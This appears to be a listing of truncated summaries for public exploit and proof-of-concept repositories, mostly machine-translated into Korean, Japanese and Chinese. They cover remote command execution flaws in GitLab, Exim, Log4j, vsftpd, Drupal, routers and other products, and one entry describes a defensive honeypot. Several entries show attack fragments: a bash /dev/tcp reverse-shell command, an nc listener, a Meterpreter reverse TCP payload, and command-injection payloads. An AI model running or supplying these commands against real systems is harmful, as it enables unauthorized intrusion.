CVE-2023-24706

CVE-2022-24706 Apache CouchDB リモートコマンド実行脆弱性poc...

CVE-2021-22205

취약점 영향 GitLab CE/EE의 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달되는 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 취약점 제품 Gitlab CE/EE /tmp/1.txt" 배치 스캔 python3 CVE-2021-2205.py -s true -f target.txt 리버스 셸 python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port...

PoC_CVE-2019-10149--rce

개요 취약한 exim 서비스로부터 셸로 원격 명령 실행. 취약한 버전은 4.87부터 4.91까지포함입니다. https://nvd.nist.gov/vuln/detail/cve-2019-10149 확인. 다음 스크립트는 Qualys PoC를 기반으로 합니다. https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html 확인. 예시 2개의 터미널 권장 T1 $ nc -nlvp 1337 T2 $ bash exploit.sh $ Listener...

CVE-2022-46080

CVE-2022-46080 Nexxt Router 15.03.06.60 인증 우회 및 원격 명령 실행...

CVE-2018-3245

CVE-2018-3245 ステップ1 java -jar ysoserial-cve-2018-3245.jar Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler CVE20183245 @mbechler...

NUUO Camera <=20250203 - OS Command Injection

NUUO Camera up to 20250203 contains a command injection caused by manipulation of the 'log' argument in /handleconfig.php, letting remote attackers execute arbitrary commands, exploit requires remote access. id: CVE-2025-1338 info: name: NUUO Camera =20250203 - OS Command Injection author: Ark...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the traceroute function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic...

CVE-2024-51378

CVE-2024-51378 취약점 분석 CVE-2024-51378, 취약한 호스트를 찾기 위한 스크립트, Python 및 nuclei를 사용한 단일 스레드 및 다중 스레드 모드에서의 익스플로잇 사용. 스크립트 사용은 테스트 호스트에서 교육 목적으로만 허용됩니다. 1-CVE-2024-51378.pdf - 작업 결과에 대한 텍스트 설명이 포함된 주요 파일 2-exploit - 작업 2부에 대한 파일 51378use.py – 단일 스레드 모드에서 익스플로잇을 적용하는 파일로, 사용자가 시작 시 지정된 URL로 명령 시퀀스를 보낼 수...

cupspot-2024-47177

CUPS 허니팟 개요 이 프로젝트는 CUPSCommon UNIX Printing System의 취약점에 대한 익스플로잇 시도를 포착하는 허니팟을 구현합니다. 특히 CVE-2024-47177 과 관련된 익스플로잇 시도를 모니터링하도록 설계되었습니다. 이 취약점은 PPD 파일의 FoomaticRIPCommandLine 매개변수를 통해 원격 명령 실행을 가능하게 합니다. 이 매개변수에 악의적인 값이 전달되면 사용자 제어 명령으로 실행되어 심각한 보안 위반을 초래할 수 있습니다. CUPS 및 CVE-2024-47177 CUPS는 다양...

acunetix_0day

Acunetix 0day RCE - SYSTEM Acunetix 0day RCE 用法 使用 运行脚本 dzonerzy:dvm dzonerzy$ python /Users/dzonerzy/PycharmProjects/natbypass/acu0day.py 9999 172.16.24.1 Acunetix WVS 10 - SYSTEM Remote Command Execution Daniele Linguaglossa Payload: Meterpreter reverse TCP 4444 Exploit started on port :9999 +...

CVE-2021-22205

취약점 영향 GitLab CE/EE에서 11.9 버전부터 모든 버전에 영향을 미치는 문제가 발견되었습니다. GitLab은 파일 파서로 전달되는 이미지 파일을 올바르게 검증하지 않아 원격 명령 실행이 발생했습니다. 취약점 제품 Gitlab CE/EE /tmp/1.txt" !attackcommand1https://as...

log4j-shell-poc

log4shell-poc CVE-2021-44228 Log4jの脆弱性（CVE-2021-44228）、通称Log4Shellの概念実証（PoC）エクスプロイトです。このツールは悪意のあるJavaクラスを生成し、LDAPリファラルサーバーを起動して、HTTP経由でペイロードを配信します。これにより、リモートの攻撃者は脆弱なターゲット上で任意のコマンドを実行できます。 特徴 デフォルトのバインドIPとしてローカルIPv4アドレスを自動検出します。 同梱のJDK 1.8.020サポート（推奨）。システムのJavaへのフォールバック付き。...

Gorsair

Gorsair Gorsair는 취약한 Docker 컨테이너에서 Docker API를 탐색하고 원격으로 접근하기 위한 침투 테스트 도구입니다. Docker 데몬에 접근하면 Gorsair를 사용하여 원격 컨테이너에서 직접 명령을 실행할 수 있습니다. 인터넷에 Docker API를 노출하는 것은 엄청난 위험입니다. 공격자가 다른 모든 컨테이너, 이미지 및 시스템에 대한 정보를 얻을 수 있을 뿐만 아니라, 이미지에서 root 사용자를 사용할 경우 전체 시스템에 대한 권한 있는 접근을 얻을 수도 있기 때문입니다. 설치 릴리즈에서 다음을...

vsftpd-backdoor

vsftpd 2.3.4 백도어 Exploit CVE-2011-2523 이 Exploit은 vsftpd FTP 서비스 버전 2.3.4의 백도어를 이용합니다. 이 백도어는 소스 코드에 악의적으로 삽입되었으며, 영향을 받는 서버에서 root 권한으로 원격 명령 실행을 허용합니다. 작동 방식 백도어는 : 문자를 포함한 사용자 이름과 임의의 비밀번호를 보내면 활성화됩니다. 그러면 서버가 6200 포트에서 연결을 열어, 대화형 셸을 얻을 수 있습니다. 요구 사항: Python 3 pwntools 설치 git clone...

F5 iControl REST - Remote Command Execution

F5 iControl REST interface is susceptible to remote command execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. This affects BIG-IP 16.0.x before 16.0.1.1, 15.1.x before...

0-click-RCE-Exploit-for-CVE-2024-50498

CVE-2024-50498 / 0クリックRCEエクスプロイト 作者: Joshua Provoste https://x.com/JoshuaProvoste/status/1858512517774868845 このリポジトリには、CVE-2024-50498の概念実証エクスプロイトが含まれています。これは、LUBUS WP Query Console WordPressプラグインにおける認証なしのコードインジェクションの脆弱性であり、リモートコード実行（RCE）につながります。 スクリプトの動作...

CVE-2019-6340-Drupal-8.6.9-REST-Auth-Bypass

CVE-2019-6340 / SA-CORE-2019-003 Drupal 8.6.9 が CVE-2019-6340 に対して脆弱であることを示すために含まれる 3 つのスクリプト: createnodeviarest.py - REST API を使用した通常の認証済みノード作成の例 doesnotcorrespond.py - 認証がなくてもリクエストが処理されることを証明 exploit.py - デシリアライゼーションを悪用しリモートコマンドを実行 Drupal 8.6.9 を...

CVE-2018-17431-PoC

CVE-2018-17431-PoC CVE-2018-17431에 대한 개념 증명 익스플로잇 제목: Comodo Firewall 및 Central Manager UTM 2.7.0 및 1.5.0 이전 모든 릴리스에서 원격 명령 실행 웹 셸 기반 익스플로잇 작성자: Milad Fadavvi 공급업체 홈페이지: https://www.comodo.com/ 소프트웨어 링크: https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276 버전: 2.7.0 ...

autopwn

autopwn ターゲットを指定して、ツールセットを実行する autopwn は、ペネトレーションテスターの作業をより簡単かつ一貫性のあるものにするために設計されています。ターゲットに対して実行したいツールを指定できるようにし、シェルで入力したりスクリプトを書いたりする必要をなくします。このツールは、特定の試験でも役立つでしょう。 Installation Dockerイメージを使用し、autopwnクライアントが接続できるようにTCP 5000を公開することをお勧めします。これは、autopwn...

routers-exploit

ルーターで見つかったPoCと脆弱性を含むオープンソースリポジトリ TP LINK TL-WR849N - リモートコマンド実行 PoC CVE-2020-9374 - TP LINK TL-WR849N - リモートコマンド実行 PoC ペイロード: "$ls" TP LINK TL-WR849N - 認証バイパス: ファームウェアと設定の更新 TP LINK TL-WR849N - リモートコマンド実行 PoC ペイロード: curl -X GET -H "Referer: http://192.168.0.1/mainFrame.htm"...